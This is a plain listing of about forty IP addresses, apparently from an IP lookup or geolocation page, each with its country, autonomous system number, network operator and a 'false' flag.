97.128.161.130
 unknown United States
6167 CELLCO-PARTUS false
91.242.3.73
 unknown Azerbaijan
39232 UNINETAZ false
56.58.158.205
 unknown United States
2686 ATGS-MMD-ASUS false
174.135.162.34
 unknown United States
33363 BHN-33363US false
15.13.173.173
 unknown United States
13979 ATT-IPFRUS false
160.103.152.84
 unknown France
1942 FR-TIGREToileInformatiqueGREnobloiseEU false
126.72.122.39
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
176.115.4.183
 unknown Poland
58350 CLASSCOM-ASPL false
97.74.224.65
 unknown United States
26496 AS-26496-GO-DADDY-COM-LLCUS false
101.35.170.42
 unknown China
132203 TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN false
99.158.155.221
 unknown United States
7018 ATT-INTERNET4US false
2.3.9.131
 unknown France
3215 FranceTelecom-OrangeFR false
54.179.225.216
 unknown United States
16509 AMAZON-02US false
69.209.238.217
 unknown United States
7018 ATT-INTERNET4US false
179.71.111.112
 unknown Brazil
7738 TelemarNorteLesteSABR false
45.11.199.218
 unknown Russian Federation
208996 NETNAMSLT false
6.46.18.47
 unknown United States
3356 LEVEL3US false
181.103.30.179
 unknown Argentina
7303 TelecomArgentinaSAAR false
87.146.148.47
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
105.240.240.100
 unknown South Africa
37457 Telkom-InternetZA false
6.2.93.12
 unknown United States
668 DNIC-AS-00668US false
91.46.185.80
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
9.203.234.215
 unknown United States
3356 LEVEL3US false
164.171.51.138
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
88.86.234.206
 unknown France
48432 SCGS-ASFR false
193.143.1.59
 unknown unknown
57271 BITWEB-ASRU false
55.207.150.249
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
92.175.173.96
 unknown France
3215 FranceTelecom-OrangeFR false
59.31.52.189
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
150.55.146.45
 unknown Japan 18124 OUS-NETOkayamaUniversityofScienceJP false
93.185.42.204
 unknown Armenia
49800 GNC-ALFAGNCAlfaCJSCRostelecomArmeniaAM false
164.188.13.89
 unknown United States
37717 EL-KhawarizmiTN false
16.36.113.77
 unknown United States
unknown unknown false
191.156.248.123
 unknown Colombia
26611 COMCELSACO false
8.233.158.109
 unknown United States
3356 LEVEL3US false
206.39.78.50
 unknown United States
386 AFCONC-BLOCK1-ASUS false
82.157.85.62
 unknown China
12513 ECLIPSEGB false
195.237.52.250
 unknown Finland
719 ELISA-ASHelsinkiFinlandEU false
146.250.31.164
 unknown United States
8147 ASERICYUS false
207.148.75.30
 unknown United States
20473 AS-CHOOPAUS false
120.211.29.96
 unknown China
24547 CMNET-V4HEBEI-AS-APHebeiMobileCommunicationCompanyLimit false